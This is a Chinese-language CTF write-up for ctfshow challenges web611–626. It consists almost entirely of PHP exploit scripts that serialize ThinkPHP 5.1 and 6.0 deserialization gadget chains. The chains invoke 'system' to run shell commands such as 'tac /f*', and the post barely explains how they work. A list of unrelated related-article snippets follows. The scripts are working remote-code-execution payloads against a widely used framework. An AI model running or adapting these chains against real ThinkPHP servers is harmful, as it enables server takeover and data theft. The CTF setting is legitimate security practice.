【Web】CTFSHOW-ThinkPHP5-6反序列化刷题记录(全)

news/2024/5/19 22:26:11 标签: ctf, web, ctfshow, thinkphp, tp反序列化, wp

目录

web611%C2%A0-toc" style="margin-left:0px;">web611 

web612-toc" style="margin-left:0px;">web612

web613-622-toc" style="margin-left:0px;">web613-622

web623-toc" style="margin-left:0px;">web623

web624-626-toc" style="margin-left:0px;">web624-626


纯记录exp,链子不作赘述

web611%C2%A0">web611 

具体分析:

ThinkPHP-Vuln/ThinkPHP5/ThinkPHP5.1.X反序列化利用链.md at master · Mochazz/ThinkPHP-Vuln · GitHub

题目直接给了反序列化入口

exp:

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["Sentiment"=>["hello"]];
        $this->data = ["Sentiment"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

web612">web612

exp:

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["Sentiment"=>["hello"]];
        $this->data = ["Sentiment"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isPjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

web613-622">web613-622

exp

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["Sentiment"=>["hello"]];
        $this->data = ["Sentiment"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->get = ['Z3r4y'=>'suibian'];
        $this->hook = ['visible'=>[$this,"__get"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

web623">web623

ThinkPHP6.0 反序列化漏洞_thinkphp6.0漏洞-CSDN博客

exp

<?php
namespace think\model\concern;
trait Attribute
{
    private $data = ["key"=>"tac /f*"];
    private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
    use model\concern\Attribute;
    private $lazySave = true;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $name;
    public function __construct($obj=""){
        $this->name=$obj;
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo urlencode(serialize($b));

web624-626" style="background-color:transparent;">web624-626

exp

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["key" => ["key1" => "tac /f*"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}
namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));


http://www.niftyadmin.cn/n/5477784.html

相关文章

第8章 索引index

第8章 索引index 索引是在数据库表的字段上添加的&#xff0c;是为了提高查询效率存在的一种机制。 一张表的一个字段可以添加一个索引&#xff0c;当然&#xff0c;多个字段联合起来也可以添加索引。 索引相当于一本书的目录&#xff0c;是为了缩小扫描范围而存在的一种机制…

vscode-tasks.json自定义任务

以下所有内容,参考自VScode官方文档: vscode_tasks-docs任务说明文档vscode_variables-reference-docs变量说明文档vscode addtional docs for tasksvscode launch.json 属性设置文档,(下文没有介绍,没有涉及) 浅浅记录一下个人对vscode任务(task)的理解,还谈不上使用. 文章目…

【Linux】TCP编程{socket/listen/accept/telnet/connect/send}

文章目录 1.TCP接口1.1socket文档 1.2listen拓&#xff1a;端口号8080 1.3accept拓&#xff1a;今天全局函数 1.4读写接口1.5telnet1.一个客户端2.两个客户端 1.6ulimit -a1.7常识回顾1.8connect1.9拓&#xff1a;客户端的ip和地址什么时候被分配&#xff1f;1.10拓&#xff1a…

深度学习——COCO全身关键点提取部分指定的关键点

使用yolov8训练人体关键点模型&#xff1b; 一个模型多个类别&#xff0c;不同类别关键点个数不一致&#xff1b; 我目前了解到的好像只有COCO是有全身关键点&#xff1b; COCO全身关键点链接&#xff1a;https://github.com/jin-s13/COCO-WholeBody 以下代码能从COCO全身标注…

Cherno CPP学习笔记-01-背景知识

0、工具网站收集 C语言版本特性 https://en.cppreference.com https://www.cplusplus.com https://www.tutorialspoint.com/cplusplus https://www.learncpp.com https://github.com/fffaraz/awesomecpp https://stackoverflow.com 网页CPP编译器 [C] gcc 12.1.0 - Wa…

积鼎CFDPro热管仿真:模拟热管内部流动及传热传质过程,优化热传输性能

热管作为一种高效的传热元件&#xff0c;其工作原理基于热传导和相变过程。它通常由管壳、吸液芯和端盖组成&#xff0c;内部充注适量的工作液体。在不消耗外部能源的情况下快速传递热量。热管因其高效的热传导性能&#xff0c;被广泛应用于各种需要有效散热的领域&#xff0c;…

【数据结构】稀疏矩阵的快速转置

【数据结构】稀疏矩阵的转置&#xff08;普通转置 和 快速转置&#xff09; 目录 【数据结构】稀疏矩阵的转置&#xff08;普通转置 和 快速转置&#xff09;三元表稀疏矩阵的转置方法一&#xff08;普通转置&#xff09;复杂度为O(T.muT.nu)方法二&#xff1a;快速转置 复杂度…

基于SSM框架JAVA仓库管理系统源代码Mysql数据库(可当毕设,实训项目,设计大赛)

仓库管理系统实现的功能包括店铺管理&#xff0c;员工管理&#xff0c;部门管理&#xff0c;商品管理&#xff0c;权限管理&#xff0c;入库管理&#xff0c;出库管理&#xff0c;盘点管理&#xff0c;统计管理等功能。该项目采用了Mysql数据库&#xff0c;Java语言&#xff0c…